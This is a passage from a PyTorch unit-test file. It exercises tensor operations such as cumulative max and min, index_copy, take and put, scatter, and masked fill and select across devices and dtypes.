overflow and half caveats x = torch.empty(2**30 + 200, device=device, dtype=dtype) x[::3] = 8 x[1::3] = .25 x[2::3] = .5 self._test_large_cum_fn_helper(x, lambda x: torch.cumprod(x, 0)) def test_discontiguous_out_cumsum(self, device): x = torch.randn(4, 8, device=device) y = torch.empty(4, 16, device=device)[:, ::2] out = torch.cumsum(x, 0) torch.cumsum(x, 0, out=y) self.assertFalse(y.is_contiguous()) self.assertEqual(out, y, atol=0., rtol=0.) def _test_cumminmax_helper(self, x, fn, expected_val, expected_ind): val, ind = fn(x, -1) self.assertEqual(val, expected_val, atol=0, rtol=0) self.assertEqual(ind, expected_ind, atol=0, rtol=0) out_val = torch.empty_like(val).t().contiguous().t() out_ind = torch.empty_like(ind).t().contiguous().t() fn(x, -1, out=(out_val, out_ind)) self.assertFalse(out_val.is_contiguous()) self.assertFalse(out_ind.is_contiguous()) self.assertEqual(out_val, expected_val, atol=0, rtol=0) self.assertEqual(out_ind, expected_ind, atol=0, rtol=0) def test_cummax_discontiguous(self, device): x = torch.tensor([[0, 1, 2, 3, 2, 1], [4, 5, 6, 5, 6, 7]], device=device, dtype=torch.float).t().contiguous().t() expected_val = torch.tensor([[0, 1, 2, 3, 3, 3], [4, 5, 6, 6, 6, 7]], device=device, dtype=torch.float) expected_ind = torch.tensor([[0, 1, 2, 3, 3, 3], [0, 1, 2, 2, 4, 5]], device=device, dtype=torch.long) self._test_cumminmax_helper(x, torch.cummax, expected_val, expected_ind) def test_cummin_discontiguous(self, device): x = torch.tensor([[3, 2, 1, 0, 1, 2], [7, 6, 5, 4, 5, 2]], device=device, dtype=torch.float).t().contiguous().t() expected_val = torch.tensor([[3, 2, 1, 0, 0, 0], [7, 6, 5, 4, 4, 2]], device=device, dtype=torch.float) expected_ind = torch.tensor([[0, 1, 2, 3, 3, 3], [0, 1, 2, 3, 3, 5]], device=device, dtype=torch.long) self._test_cumminmax_helper(x, torch.cummin, expected_val, expected_ind) def test_bool_tensor_value_change(self, device): x = torch.tensor([True, False], dtype=torch.bool, device=device) x[0] = False x[1] = True self.assertEqual(x, torch.tensor([False, True], dtype=torch.bool, device=device)) def test_unfold_all_devices_and_dtypes(self, device): for dt in get_all_dtypes(): if dt == torch.bool: x = torch.empty((0, 1, 3, 0), dtype=dt, device=device) self.assertEqual((0, 1, 1, 0, 3), x.unfold(2, 3, 2).shape) else: x = torch.empty((0, 1, 3, 0), dtype=dt, device=device) self.assertEqual((0, 1, 1, 0, 3), x.unfold(2, 3, 2).shape) def test_unfold_scalars(self, device): x = torch.tensor(0.5, device=device) # unfold on a 0-dimensional tensor should always return a 1-d dimensional # tensor of shape [size] (i.e., the second parameter to unfold) self.assertEqual(torch.empty(0, device=device), x.unfold(0, 0, 1)) self.assertEqual(torch.empty(0, device=device), x.unfold(0, 0, 2)) self.assertEqual(torch.tensor([0.5], device=device), x.unfold(0, 1, 1)) def test_copy_all_dtypes_and_devices(self, device): from copy import copy for dt in get_all_dtypes(): x = torch.tensor([1, 2, 3, 4], dtype=dt, device=device) x_clone = x.clone() y = copy(x) y.fill_(1) # copy is a shallow copy, only copies the tensor view, # not the data self.assertEqual(x, y) def test_clone_all_dtypes_and_devices(self, device): for dt in get_all_dtypes(): x = torch.tensor((1, 1), dtype=dt, device=device) y = x.clone() self.assertEqual(x, y) def test_clone_zero_stride_dim(self, device): # stride zero, size 1 axis, not contiguous x = torch.randn(10) y = x.as_strided([2, 1, 5], [1, 0, 2]) self.assertEqual(y, y.clone()) def test_clone_not_memory_dense(self): # github issue: https://github.com/pytorch/pytorch/issues/64176 x = torch.randn(10, 8).t()[::2, ::2] y = x.clone() # should retain permutation after densification self.assertTrue(y.stride() == (1, 4)) @dtypesIfCUDA(*set(get_all_math_dtypes('cuda'))) @dtypes(*set(get_all_math_dtypes('cpu'))) def test_addcmul(self, device, dtype): # Returns floating or integral scalar corresponding to dtype def _number(floating, integer, dtype): if dtype in [torch.half, torch.float, torch.double, torch.bfloat16]: return floating elif dtype in [torch.cfloat, torch.cdouble]: return floating * (1 + 1j) else: return integer def rand_tensor(size, dtype, device): if dtype.is_floating_point or dtype.is_complex: return torch.rand(size=size, dtype=dtype, device=device) if dtype == torch.uint8: return torch.randint(1, 5, size=size, dtype=dtype, device=device) else: return torch.randint(-5, 5, size=size, dtype=dtype, device=device) a = rand_tensor((2, 2), dtype=dtype, device=device) b = rand_tensor((2, 2), dtype=dtype, device=device) c = rand_tensor((2, 2), dtype=dtype, device=device) alpha = _number(0.5, 3, dtype) actual = torch.addcmul(a, b, c, value=alpha) expected = a + alpha * b * c self.assertEqual(expected, actual) with self.assertWarnsOnceRegex( UserWarning, "This overload of addcmul is deprecated"): self.assertEqual(actual, torch.addcmul(a, alpha, b, c)) if self.device_type == 'cuda' and dtype == torch.half: a = torch.tensor([60000.0], device=device, dtype=dtype) b = torch.tensor([60000.0], device=device, dtype=dtype) c = torch.tensor([2.0], device=device, dtype=dtype) out = torch.addcmul(a, b, c, value=-1) self.assertTrue(not (out.isnan() or out.isinf())) def test_narrow_empty(self, device): x = torch.randn(2, 3, 4, device=device) for d in range(x.dim()): y = x.narrow(d, x.size(d), 0) sz = list(x.size()) sz[d] = 0 self.assertEqual(sz, y.size()) @dtypes(*get_all_dtypes()) def test_index_copy(self, device, dtype): # We just test for num_copy <= num_dest, as otherwise there are repeated indices # and the behavior is undefined num_copy, num_dest = 3, 5 def make_arg(batch_sizes, n, dim, contig): size_arg = batch_sizes[:dim] + (n,) + batch_sizes[dim:] return make_tensor(size_arg, device, dtype, low=None, high=None, noncontiguous=not contig) def ref_index_copy(tgt, dim, idx, src): for i in range(idx.size(0)): idx_dest = dim * (slice(None),) + (idx[i],) idx_src = dim * (slice(None),) + (i,) tgt[idx_dest] = src[idx_src] # More thorough testing as in index_add for dest_contig, src_contig, index_contig in product([True, False], repeat=3): for other_sizes in ((), (4, 5)): for dim in range(len(other_sizes)): dest = make_arg(other_sizes, num_dest, dim, dest_contig) src = make_arg(other_sizes, num_copy, dim, src_contig) idx = torch.randperm(num_dest, dtype=torch.int64, device=device)[:num_copy] if not index_contig: idx = torch.repeat_interleave(idx, 2, dim=-1) idx = idx[..., ::2] dest2 = dest.clone() dest.index_copy_(dim, idx, src) ref_index_copy(dest2, dim, idx, src) self.assertEqual(dest, dest2) # onlyOnCPUAndCUDA due to an XLA error: # https://github.com/pytorch/pytorch/issues/53256 @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes()) def test_index_copy_scalars(self, device, dtype): # Create the 8 possible combinations of scalar sizes for target / index / source scalars = ((make_tensor(size_t, dtype=dtype, device=device, low=None, high=None), make_tensor(size_i, dtype=torch.int64, device=device, low=0, high=1), make_tensor(size_s, dtype=dtype, device=device, low=None, high=None)) for size_t, size_i, size_s in product([(), (1,)], repeat=3)) for target, idx, source in scalars: target.index_copy_(0, idx, source) self.assertEqual(target.item(), source.item()) @onlyCPU def test_errors_index_copy(self, device): # We do not test the GPU as the CUDA_ASSERT would break the CUDA context idx_dim = 8 tgt_dim = 5 batch_dim = 3 # Too large of an index a = torch.randn(batch_dim, tgt_dim, device=device) idx = torch.full((idx_dim,), tgt_dim, device=device) c = torch.zeros(batch_dim, idx_dim, device=device) with self.assertRaises(IndexError): a.index_copy_(1, idx, c) # Too small (negative indices) idx = torch.full((idx_dim,), -1, device=device) with self.assertRaises(IndexError): a.index_copy_(1, idx, c) # Too small (very negative indices) - they should be unsupported even # when support for negative indices is implemented for index_copy_ idx = torch.full((idx_dim,), -tgt_dim - 1, device=device) with self.assertRaises(IndexError): a.index_copy_(1, idx, c) def _prepare_data_for_index_copy_and_add_deterministic( self, dim: int, device: torch.device ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: assert (dim >= 0 and dim < 3) a = [5, 4, 3] a[dim] = 2000 x = torch.zeros(a, device=device) b = a.copy() elems = a[dim] * 20 b[dim] = elems src = torch.rand(b, device=device) index = torch.randint(a[dim], (elems,), device=device) return (x, index, src) @onlyOnCPUAndCUDA def test_index_copy_deterministic(self, device: torch.device) -> None: for dim in range(3): x, index, src = self._prepare_data_for_index_copy_and_add_deterministic(dim, device) with DeterministicGuard(True): y0 = torch.index_copy(x, dim, index, src) x0 = x.clone().detach() index_list = index.tolist() for i in range(len(index_list)): if dim == 0: x0[index_list[i], :, :] = src[i, :, :] elif dim == 1: x0[:, index_list[i], :] = src[:, i, :] elif dim == 2: x0[:, :, index_list[i]] = src[:, :, i] self.assertEqual(x0, y0, atol=0, rtol=0) @onlyOnCPUAndCUDA def test_index_add_deterministic(self, device: torch.device) -> None: for dim in range(3): x, index, src = self._prepare_data_for_index_copy_and_add_deterministic(dim, device) alpha = random.random() + 1 # on CPU it should be deterministic regardless of the deterministic mode with DeterministicGuard(True): y0 = torch.index_add(x, dim, index, src, alpha=alpha) for _ in range(3): y = torch.index_add(x, dim, index, src, alpha=alpha) self.assertEqual(y, y0, atol=0, rtol=0) with DeterministicGuard(False): for _ in range(3): y_nd = torch.index_add(x, dim, index, src, alpha=alpha) self.assertEqual(y_nd, y0, atol=1e-3, rtol=1e-5) @onlyOnCPUAndCUDA def test_index_put_non_accumulate_deterministic(self, device) -> None: with DeterministicGuard(True): for i in range(3): m = random.randint(10, 20) elems = random.randint(20000, 30000) values = torch.rand(elems, device=device) indices = torch.randint(m, (elems,), device=device) input = torch.rand(m, device=device) output = input.index_put((indices,), values, accumulate=False) input_list = input.tolist() indices_list = indices.tolist() values_list = values.tolist() for i, v in zip(indices_list, values_list): input_list[i] = v self.assertEqual(output, input_list) @dtypes(*get_all_dtypes()) def test_index_fill(self, device, dtype): x = torch.tensor([[1, 2], [4, 5]], dtype=dtype, device=device) index = torch.tensor([0], device=device) x.index_fill_(1, index, 0) self.assertEqual(x, torch.tensor([[0, 2], [0, 5]], dtype=dtype, device=device)) if not x.is_complex(): with self.assertRaisesRegex(RuntimeError, r"Scalar"): x.index_fill_(1, index, 1 + 1j) # Make sure that the result stays 0-dim while applied to # a 0-dim input x = torch.tensor(1, dtype=dtype, device=device) self.assertEqual(0, x.index_fill(0, index, -1).dim()) self.assertEqual(0, x.index_fill_(0, index, -1).dim()) # The test fails for zero-dimensional tensors on XLA @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes()) def test_index_select(self, device, dtype): num_src, num_out = 3, 5 def make_arg(batch_sizes, n, dim, contig): size_arg = batch_sizes[:dim] + (n,) + batch_sizes[dim:] return make_tensor(size_arg, device, dtype, low=None, high=None, noncontiguous=not contig) def ref_index_select(src, dim, idx): # bfloat16 is just used on GPU, so it's not supported on numpy if dtype == torch.bfloat16: src = src.float() out = torch.from_numpy(np.take(src.cpu().numpy(), idx.cpu().numpy(), axis=dim)) if dtype == torch.bfloat16: out = out.to(device=device, dtype=dtype) return out for src_contig, idx_contig in product([True, False], repeat=2): for other_sizes in ((), (4, 5)): for dim in range(len(other_sizes)): src = make_arg(other_sizes, num_src, dim, src_contig) idx = make_tensor((num_out,), device, dtype=torch.int64, low=0, high=num_src, noncontiguous=not idx_contig) out = torch.index_select(src, dim, idx) out2 = ref_index_select(src, dim, idx) self.assertEqual(out, out2) for idx_type in (torch.int32, torch.int64): other_sizes = (3, 2) dim = 1 src = make_arg(other_sizes, num_src, dim, True) idx = make_tensor((num_out,), device, dtype=idx_type, low=0, high=num_src, noncontiguous=False) out = torch.index_select(src, dim, idx) out2 = ref_index_select(src, dim, idx) self.assertEqual(out, out2) # Create the 4 possible combinations of scalar sizes for index / source scalars = ((make_tensor(size_s, device, dtype), torch.zeros(size_i, dtype=torch.int64, device=device)) for size_s, size_i in product([(), (1,)], repeat=2)) for source, idx in scalars: out = source.index_select(0, idx) self.assertEqual(out.item(), source.item()) @dtypes(*get_all_dtypes()) def test_take(self, device, dtype): idx_size = (4,) make_arg = partial(make_tensor, device=device, dtype=dtype) make_idx = partial(make_tensor, low=0, device=device, dtype=torch.int64) def ref_take(src, idx): if dtype == torch.bfloat16: src = src.half() src = src.cpu().numpy() idx = idx.cpu().numpy() out = torch.from_numpy(np.take(src, idx)).to(device=device, dtype=dtype) return out for src_contig, idx_contig, idx_reshape in product([True, False], repeat=3): for src_size in ((5,), (4, 5)): src = make_arg(src_size, noncontiguous=not src_contig) idx = make_idx(idx_size, high=src.numel(), noncontiguous=not idx_contig) if idx_reshape: idx = idx.reshape(2, 2) out = torch.take(src, idx) out2 = ref_take(src, idx) self.assertEqual(out, out2) # Create the 4 possible combinations of scalar sizes for source / index for size_s, size_i in product([(), (1,)], repeat=2): source = make_arg(size_s) idx = make_idx(size_i, high=1) out = source.take(idx) self.assertEqual(out.item(), source.item()) # The bool instance does not work on GPU. See # https://github.com/pytorch/pytorch/issues/54317 @dtypes(*get_all_dtypes(include_bool=False)) def test_put(self, device, dtype): src_size = (4,) make_arg = partial(make_tensor, device=device, dtype=dtype) make_idx = partial(make_tensor, low=0, device=device, dtype=torch.int64) def ref_put(dst, idx, src, accumulate): new_dst = dst.clone(memory_format=torch.contiguous_format).view(-1) new_idx = idx.contiguous().view(-1) new_src = src.contiguous().view(-1) method = new_dst.index_add_ if accumulate else new_dst.index_copy_ return method(0, new_idx, new_src).view_as(dst) for dst_contig, src_contig, idx_contig, idx_reshape, accumulate in product([True, False], repeat=5): for dst_size in ((5,), (4, 5)): dst = make_arg(dst_size, noncontiguous=not dst_contig) src = make_arg(src_size, noncontiguous=not src_contig) # If accumulate=True, `put_` should be deterministic regardless of the inputs on CPU # On CUDA it may not be, but the test has enough tolerance to account for this if accumulate: idx = make_idx(src_size, high=dst.numel()) else: idx = torch.randperm(dst.numel(), dtype=torch.int64, device=device)[:src_size[0]] if not idx_contig: idx = torch.repeat_interleave(idx, 2, dim=-1)[..., ::2] if idx_reshape: idx = idx.reshape(2, 2) out = torch.put(dst, idx, src, accumulate) # out-place reference = ref_put(dst, idx, src, accumulate) self.assertEqual(out, reference) # in-place dst.put_(idx, src, accumulate) self.assertEqual(dst, reference) # Create the 8 possible combinations of scalar sizes for target / index / source scalars = ((make_arg(size_t), make_idx(size_i, high=1), make_arg(size_s)) for size_t, size_i, size_s in product([(), (1,)], repeat=3)) for (dest, idx, source), accumulate in product(scalars, [True, False]): dest_init = dest.clone() # out-place out = torch.put(dest, idx, source, accumulate=accumulate) # in-place dest1 = dest.clone() dest1.put_(idx, source, accumulate=accumulate) for d in [out, dest1]: if accumulate: self.assertEqual(d.item(), (dest_init + source).item()) else: self.assertEqual(d.item(), source.item()) # Empty case dest = make_arg((3, 2)) reference = dest.clone() idx = make_idx((0,), high=1) source = make_arg((0,)) for accumulate in [True, False]: out = torch.put(dest, idx, source, accumulate=accumulate) self.assertEqual(out, reference) dest.put_(idx, source, accumulate=accumulate) self.assertEqual(dest, reference) # The bool instance does not work on GPU. See # https://github.com/pytorch/pytorch/issues/54317 @dtypes(*get_all_dtypes(include_bool=False)) def test_put_accumulate(self, device, dtype): # Test for parallel adds with accumulate == True low_precision = dtype == torch.half or dtype == torch.bfloat16 # Less numbers to avoid overflow with low_precision # Grainsize is 3000 for the for_loop to be parallized on CPU sizes = ((100,)) if low_precision else ((200,), (3002,)) # Bfloat16 has a particularly bad performance here # This operation is nondeterministic on GPU, so we are generous with the rtol rtol, atol = (1e-1, 1e-2) if low_precision else (1e-3, 1e-4) make_arg = partial(make_tensor, low=-2, high=3, device=device, dtype=dtype) # Dump everything into the 0-th position make_idx = partial(torch.zeros, device=device, dtype=torch.int64) args = ((make_idx(size), make_arg(size)) for size in sizes) for idx, source in args: orig = make_arg((1,)) out = orig.put(idx, source, accumulate=True) self.assertEqual(out, orig + source.sum(), rtol=rtol, atol=atol) def test_take_empty(self, device): for input_shape in [(0,), (0, 1, 2, 0), (1, 2, 3)]: for indices_shape in [(0,), (0, 1, 2, 0)]: input = torch.empty(input_shape, device=device) indices = torch.empty(indices_shape, dtype=torch.int64, device=device) self.assertEqual(indices, torch.take(input, indices), exact_dtype=False) def test_put_empty(self, device): for dst_shape in [(0,), (0, 1, 2, 0), (1, 2, 3)]: for indices_shape in [(0,), (0, 1, 2, 0)]: for accumulate in [False, True]: dst = torch.randn(dst_shape, device=device) indices = torch.empty(indices_shape, dtype=torch.int64, device=device) src = torch.randn(indices_shape, device=device) self.assertEqual(dst, dst.put_(indices, src, accumulate=accumulate)) def scatter_allow_reduce(self, device, dtype, reduceop): device_type = torch.device(device).type return device_type != 'cuda' or (reduceop == 'multiply' and dtype.is_floating_point) # torch.{zeros, ones} do not support ComplexHalf (torch.complex32) # So, we are skipping it here. @dtypes(*(get_all_fp_dtypes(include_bfloat16=False, include_half=False) + get_all_complex_dtypes())) @dtypesIfCPU(*get_all_dtypes()) @dtypesIfCUDA(*get_all_dtypes()) def test_scatter_reduce_operations_to_large_input(self, device, dtype): index = torch.tensor([[1], [2]], device=device, dtype=torch.long) test_data = [ (torch.zeros(4, 4, device=device, dtype=dtype), torch.ones(2, 2, device=device, dtype=dtype), torch.tensor([[0, 0, 0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0]], device=device, dtype=dtype), "add"), (torch.tensor([2], device=device, dtype=dtype).repeat(4, 4), torch.tensor([6], device=device, dtype=dtype).repeat(2, 2), torch.tensor([[2, 2, 2, 2], [12, 2, 2, 2], [12, 2, 2, 2], [2, 2, 2, 2]], device=device, dtype=dtype), "multiply"), ] for input, src, result, operation in test_data: if not self.scatter_allow_reduce(device, dtype, operation): continue input.scatter_(0, index, src, reduce=operation) self.assertEqual(input, result) # torch.{zeros, ones} do not support ComplexHalf (torch.complex32) # So, we are skipping it here. @dtypes(*(get_all_fp_dtypes(include_bfloat16=False, include_half=False) + get_all_complex_dtypes())) @dtypesIfCPU(*get_all_dtypes()) @dtypesIfCUDA(*get_all_dtypes()) def test_scatter_reduce_scalar(self, device, dtype): index = torch.tensor([[1], [2]], device=device, dtype=torch.long) test_data = [ (torch.zeros(4, 4, device=device, dtype=dtype), 1, torch.tensor([[0, 0, 0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0]], device=device, dtype=dtype), "add"), (torch.tensor([2], device=device, dtype=dtype).repeat(4, 4), 2, torch.tensor([[2, 2, 2, 2], [4, 2, 2, 2], [4, 2, 2, 2], [2, 2, 2, 2]], device=device, dtype=dtype), "multiply"), ] for input, src, result, operation in test_data: if not self.scatter_allow_reduce(device, dtype, operation): continue input.scatter_(0, index, src, reduce=operation) self.assertEqual(input, result) # TODO: remove this after scatter_add_ is deprecated. def test_scatter_add_non_unique_index(self, device): height = 2 width = 65536 input = torch.ones(height, width, device=device) index = torch.zeros(height, width, dtype=torch.long, device=device) src = torch.ones(height, width, device=device) input.scatter_add_(0, index, src) self.assertEqual(input, torch.tensor([[3], [1]], device=device, dtype=torch.float32).repeat(1, width)) # torch.{zeros, ones} do not support ComplexHalf (torch.complex32) # So, we are skipping it here. @dtypes(*(get_all_fp_dtypes(include_bfloat16=False, include_half=False) + get_all_complex_dtypes())) @dtypesIfCPU(*get_all_dtypes()) @dtypesIfCUDA(*get_all_dtypes()) def test_scatter_reduce_non_unique_index(self, device, dtype): height = 2 width = 2 index = torch.zeros(height, width, dtype=torch.long, device=device) test_data = [ (torch.ones(height, width, device=device, dtype=dtype), torch.ones(height, width, device=device, dtype=dtype), torch.tensor([[3], [1]], device=device, dtype=dtype).repeat(1, width), "add"), (torch.tensor([2], device=device, dtype=dtype).repeat(height, width), torch.tensor([2], device=device, dtype=dtype).repeat(height, width), torch.tensor([[8], [2]], device=device, dtype=dtype).repeat(1, width), "multiply"), ] for input, src, result, operation in test_data: if not self.scatter_allow_reduce(device, dtype, operation): continue input.scatter_(0, index, src, reduce=operation) self.assertEqual(input, result, msg=f"result: {result} input: {input} method: {str(operation)}") # torch.{zeros, ones} do not support ComplexHalf (torch.complex32) # So, we are skipping it here. @onlyCUDA @dtypesIfCUDA(*(get_all_complex_dtypes() + get_all_int_dtypes())) def test_scatter_reduce_multiply_unsupported_dtypes(self, device, dtype): height = 2 width = 2 index = torch.zeros(height, width, dtype=torch.long, device=device) input = torch.ones(height, width, device=device, dtype=dtype) src = torch.ones(height, width, device=device, dtype=dtype) with self.assertRaises(RuntimeError): input.scatter_(0, index, src, reduce="multiply") def test_scatter_to_large_input(self, device): input = torch.zeros(4, 4, device=device) src = torch.ones(2, 2, device=device) index = torch.tensor([[1], [2]], device=device, dtype=torch.long) input.scatter_(0, index, src) self.assertEqual(input, torch.tensor([[0, 0, 0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0]], device=device, dtype=torch.float32)) def test_scatter_add_to_large_input(self, device): input = torch.zeros(4, 4, device=device) src = torch.ones(2, 2, device=device) index = torch.tensor([[1], [2]], device=device, dtype=torch.long) input.scatter_add_(0, index, src) self.assertEqual(input, torch.tensor([[0, 0, 0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0]], device=device, dtype=torch.float32)) def test_scatter_bool(self, device): x = torch.tensor([[True, True, True], [True, True, True]], device=device) res = torch.zeros(3, 3, dtype=torch.bool, device=device) res = res.scatter_(0, torch.tensor([[0, 1, 2], [0, 1, 2]], device=device), x) self.assertEqual(res, torch.tensor([[True, False, False], [False, True, False], [False, False, True]], device=device)) def test_scatter_add_bool(self, device): x = torch.tensor([[True, True, True, True, True], [True, True, True, True, True]], device=device) res = torch.zeros(3, 5, dtype=torch.bool, device=device) res = res.scatter_add_(0, torch.tensor([[0, 1, 2, 0, 0], [2, 0, 0, 1, 2]], device=device), x) self.assertEqual(res, torch.tensor([[True, True, True, True, True], [False, True, False, True, False], [True, False, True, False, True]], device=device)) @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes()) def test_masked_scatter(self, device, dtype): dt = dtype with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") for maskType in [torch.uint8, torch.bool]: num_copy, num_dest = 3, 10 dest = torch.tensor([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], dtype=dt, device=device) dest2 = dest.clone() dest_ones = dest.clone() dest_ones_expected = dest.clone() src = torch.tensor([0, 0, 0, 0, 0, 0, 0, 0, 0, 0], dtype=dt, device=device) src_ones = torch.tensor([1, 1, 1, 1, 1, 1, 1, 1, 1, 1], dtype=dt, device=device) mask = torch.tensor((0, 0, 0, 0, 1, 0, 1, 0, 1, 0), dtype=maskType, device=device) if dt == torch.bool: # torch.bool is a special case and is being tested # in a separate test return dest.masked_scatter_(mask, src) j = 0 for i in range(num_dest): if mask[i]: dest2[i] = src[j] dest_ones_expected[i] = src_ones[j] j += 1 self.assertEqual(dest, dest2, atol=0, rtol=0) dest_ones.masked_scatter_(mask, src_ones) self.assertEqual(dest_ones, dest_ones_expected, atol=0, rtol=0) # Bound checking in CUDA is done inside a kernel # in order to avoid synchronization, but this means # we can not clear the failures. So there is no way # to test it then recover. if self.device_type != 'cuda': # make src smaller. this should fail src = torch.zeros(num_copy - 1, dtype=dt, device=device) with self.assertRaises(RuntimeError): dest.masked_scatter_(mask, src) # empty tensor dest = torch.empty((5, 0, 5), dtype=dt, device=device) mask = torch.ones_like(dest, dtype=maskType, device=device) src = torch.empty((0,), dtype=dt, device=device) dest.masked_scatter_(mask, src) dest = torch.empty((5, 0, 5), dtype=dt, device=device) mask = torch.ones((5, 1, 5), dtype=maskType, device=device) src = torch.empty((0,), dtype=dt, device=device) dest.masked_scatter_(mask, src) if self.device_type != 'cuda': self.assertEqual(len(w), 5) else: self.assertEqual(len(w), 4) warn = 'masked_scatter_ received a mask with dtype torch.uint8,' for wi in w: self.assertEqual(str(wi.message)[0:55], str(warn)) def test_masked_scatter_bool_tensor(self, device): src = torch.tensor([True, True, True], device=device) dst = torch.tensor([False, False, False], device=device) mask = torch.tensor([False, True, False], device=device) dst.masked_scatter_(mask, src) self.assertEqual(dst, torch.tensor([False, True, False], device=device)) mask = torch.tensor([True, False, True], device=device) dst = dst.masked_scatter(mask, src) self.assertEqual(dst, torch.tensor([True, True, True], device=device)) # refer https://github.com/pytorch/pytorch/issues/60190 @skipIfRocm @onlyCUDA @largeTensorTest('30GB') def test_masked_scatter_large_tensor(self, device): t_cpu = torch.empty(2**31 + 1, dtype=torch.bool).random_() t = t_cpu.to(device) result_cpu = t_cpu.masked_scatter(t_cpu, t_cpu) result = t.masked_scatter(t, t) self.assertEqual(result, result_cpu) @dtypes(*get_all_dtypes()) def test_masked_select(self, device, dtype): if device == 'cpu': warn = 'masked_select received a mask with dtype torch.uint8,' else: warn = 'indexing with dtype torch.uint8 is now deprecated, pl' for maskType in [torch.uint8, torch.bool]: num_src = 10 src = torch.tensor([0, 0, 0, 0, 0, 0, 0, 0, 0, 0], dtype=dtype, device=device) mask = torch.randint(2, (num_src,), device=device, dtype=maskType) with warnings.catch_warnings(record=True) as w: dst = src.masked_select(mask) if maskType is torch.uint8: self.assertEqual(len(w), 1) self.assertEqual(str(w[0].message)[0:53], str(warn)) dst2 = [] for i in range(num_src): if mask[i]: dst2 += [src[i]] self.assertEqual(dst, torch.tensor(dst2), atol=0, rtol=0) dst3 = torch.empty(0, device=device, dtype=dtype) torch.masked_select(src, mask, out=dst3) self.assertEqual(dst3, torch.tensor(dst2, dtype=dst3.dtype), atol=0, rtol=0) # Since half on CPU is not supported, need to skip the remaining test cases if dtype == torch.half and torch.device(device).type == 'cpu': return # Ensure that masks are expanded to match tensor properly a = torch.rand(100, 100, device=device).mul(100).to(dtype) mask_first_el_each_row = torch.zeros(100, device=device, dtype=torch.bool) mask_first_el_each_row[0] = True a_masked = a.masked_select(mask_first_el_each_row) self.assertEqual(a_masked, a[:, 0]) mask_first_row = torch.zeros(100, 1, device=device, dtype=torch.bool) mask_first_row[0][0] = True a_masked = a.masked_select(mask_first_row) self.assertEqual(a_masked, a[0, :]) # Ensure that tensor is expanded to match mask properly a = torch.rand(100, device=device).mul(100).to(dtype) mask_copy_3_times = torch.tensor([[True], [True], [False], [True]], device=device) a_masked = a.masked_select(mask_copy_3_times) self.assertEqual(a_masked, a.unsqueeze(0).expand(3, 100).flatten()) def test_masked_select_discontiguous(self, device): for size in (10, 200): vals = torch.rand(size, size, device=device) mask = torch.full((size, size), False, dtype=torch.bool, device=device) mask[:, ::2] = True vals_list = (vals, vals.t()) mask_list = (mask, mask.t()) out_dc = torch.empty(size * size, device=device)[::2] for v, m in product(vals_list, mask_list): if m.is_contiguous(): expected = v[:, ::2].clone().reshape((-1, )) else: expected = v[::2].clone().reshape((-1, )) out = torch.masked_select(v, m) self.assertEqual(out, expected, atol=0, rtol=0) torch.masked_select(v, m, out=out_dc) self.assertEqual(out_dc, expected, atol=0, rtol=0) @dtypes(*product(get_all_dtypes(), (torch.uint8, torch.bool))) def test_masked_fill(self, device, dtypes): dtype = dtypes[0] mask_dtype = dtypes[1] with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") num_dest = 10 dst = torch.zeros(num_dest, dtype=dtype) mask = torch.randint(2, (num_dest,), dtype=mask_dtype) val = random.random() dst2 = dst.clone() dst.masked_fill_(mask, val) for i in range(num_dest): if mask[i]: dst2[i] = val self.assertEqual(dst, dst2, atol=0, rtol=0) # test non-contiguous case dst = ((torch.randn(num_dest, num_dest, num_dest) * 10).to(dtype)).permute((2, 0, 1)) dst2 = dst.contiguous() if dtype.is_complex: mask = dst.abs() > 0 else: mask = dst > 0 self.assertTrue(not dst.is_contiguous()) self.assertTrue(dst2.is_contiguous()) dst.masked_fill_(mask.to(mask_dtype), val) dst2.masked_fill_(mask.to(mask_dtype), val) self.assertEqual(dst, dst2, atol=0, rtol=0) if mask_dtype == torch.uint8: self.assertEqual(len(w), 3) warn = 'masked_fill_ received a mask with dtype torch.uint8,' for wi in w: self.assertEqual(str(wi.message)[0:52], str(warn)) else: self.assertEqual(len(w), 0) def test_masked_fill_bool_tensor(self, device): dst = torch.tensor([True, False, True], device=device) mask = torch.tensor([False, True, False], device=device) dst.masked_fill_(mask, True) self.assertEqual(dst, torch.tensor([True, True, True], device=device)) dst = dst.masked_fill(mask, False) self.assertEqual(dst, torch.tensor([True, False, True], device=device)) def test_tensor_shape_empty(self, device): x = torch.randn((0, 1, 3, 0), device=device) # flatten self.assertEqual((0,), torch.flatten(x, 0, 3).shape) self.assertEqual((0, 0), torch.flatten(x, 0, 2).shape) self.assertEqual((0, 3, 0), torch.flatten(x, 1, 2).shape) # squeeze, unsqueeze self.assertEqual((0, 1, 1, 3, 0), torch.unsqueeze(x, 1).shape) self.assertEqual((0, 3, 0), torch.squeeze(x, 1).shape) self.assertEqual((0, 3, 0), torch.squeeze(x).shape) # transpose, t self.assertEqual((0, 0, 3, 1), torch.transpose(x, 1, 3).shape) y = torch.randn((5, 0), device=device) self.assertEqual((0, 5), y.t().shape) # select self.assertEqual((0, 1, 0), torch.select(x, 2, 2).shape) # repeat, permute self.assertEqual((9, 0, 5, 6, 0), x.repeat(9, 7, 5, 2, 3).shape) self.assertEqual((3, 0, 0, 1), x.permute(2, 3, 0, 1).shape) # diagonal, diagflat self.assertEqual((0,), torch.diagonal(torch.randn((5, 0), device=device)).shape) self.assertEqual((0,), torch.diagonal(torch.randn((0, 5), device=device)).shape) # off the end offsets are valid self.assertEqual((0,), torch.diagonal(torch.randn((5, 0), device=device), offset=1).shape) self.assertEqual((0,), torch.diagonal(torch.randn((0, 5), device=device), offset=1).shape) # check non-zero sized offsets off the end self.assertEqual((5, 6, 0), torch.diagonal(torch.randn((3, 4, 5, 6), device=device), offset=45252).shape) self.assertEqual((5, 6, 0), torch.diagonal(torch.randn((3, 4, 5, 6), device=device), offset=-45252).shape) self.assertEqual((0, 0), torch.diagflat(torch.tensor([], device=device)).shape) self.assertEqual(torch.zeros(1, 1), torch.diagflat(torch.tensor([], device=device), offset=1)) self.assertEqual((0, 0), 